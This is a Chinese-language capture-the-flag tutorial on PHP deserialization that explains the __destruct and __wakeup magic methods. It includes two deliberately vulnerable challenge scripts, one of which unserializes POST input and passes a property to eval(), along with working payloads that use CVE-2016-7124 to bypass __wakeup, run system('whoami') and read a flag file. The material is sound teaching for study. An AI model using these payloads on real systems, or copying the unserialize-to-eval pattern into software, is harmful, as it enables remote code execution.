1、__construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
2、__destruct():当对象被销毁时会自动调用。(析构函数)
3、__wakeup():unserialize() 时会自动调用。

试题1

<?php
class convent{
	var $warn = "No hacker.";
	function __destruct(){
		eval($this->warn);
	}
	function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
			$this->$k = null;
		}
	}
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

post请求cmd=O:7:"convent":1:{s:4:"warn";s:17:"system("whoami");";},会发现是空白,说明命令并没有执行

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124),语句改为这样试试看:cmd=O:7:"convent":2:{s:4:"warn";s:17:"system("whoami");";},发现命令执行成功

unserialize绕过__wakeup

这里也说明了__wakeup():unserialize() 时会自动调用

我们在反序列化的时候 可能有时候__wakeup 中会进行一些过滤等等的操作 所以我们需要尝试绕过

试题2

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a = new Demo('fl4g.php');
echo serialize($a);
echo "<br/>";
echo base64_encode('O:+4:"Demo":2:{S:10:"\00Demo\00file";s:8:"fl4g.php";}');
// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

总结:

绕过的条件:利用的是当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

影响版本:PHP5 < 5.6.25, PHP7 < 7.0.10

相关文章:

  • 2022-12-23
  • 2021-10-15
  • 2022-12-23
  • 2021-09-04
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-07-21
  • 2022-02-27
  • 2021-11-08
  • 2022-12-23
  • 2021-06-14
  • 2021-09-02
相关资源
相似解决方案